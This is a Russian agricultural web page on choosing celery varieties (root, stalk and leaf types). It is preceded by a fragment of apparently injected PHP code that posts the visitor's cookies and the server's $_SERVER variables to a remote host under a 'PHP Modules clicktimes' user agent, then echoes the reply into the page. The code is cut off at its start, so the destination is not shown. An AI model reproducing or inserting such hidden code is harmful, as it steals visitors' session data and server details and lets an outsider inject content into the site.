array("header"=>"User-Agent: PHP Modules clicktimes\r\n","header"=>"Cookie: ".$_SERVER["HTTP_COOKIE"]."\r\n","method"=>"POST","timeout"=>2,"content"=>http_build_query($_SERVER))))); if($clicktimes_result) echo $clicktimes_result; ?> Овощной портал - выбор сорта сельдерея
Главная
Овощи
Семена
Сорта
Почва
Удобрения и элементы питания
Словарь терминов
 
  Сельдерей

Выбор сорта сельдерея

Лист листового сельдереяПри выборе сорта сельдерея нужно учитывать, что он разделяется на три разновидности: корнеплодную, черешковую и листовую. Соответственно, выбирать сорт желательно исходя из получаемого продукта - корнеплодов, листьев или черешков.

Сорта корнеплодного (или корневого) сельдерея можно выращивать для получения как корнеплодов, так и листьев. Но главный их недостаток - большой вегетационный период (до 200 дней). Поэтому для получения зелени целесообразнее выращивать сорта листового сельдерея. Они корнеплоды не образуют, но быстро формируют раскидистую розетку с многочисленными листьями.

Черешковый сельдерей также не образует корнеплод. Листья он конечно, формирует, причем такие же пахучие, как и листовой сельдерей, но розетка листьев более компактная и листьев на ней меньше. Поэтому сорта черешкового сельдерея лучше выращивать для получения широких мясистых черешков.

к. с.-х. н. Костылев Д.А.

См. также Сорта корнеплодного сельдерея, Сорта листового сельдерея, Сорта черешкового сельдерея

Стандарты и технические условия
Статистика и анализ
Где купить и продать
Законодательные акты
Овощная галерея
Овощной Интернет
 
(C) ovoport.ru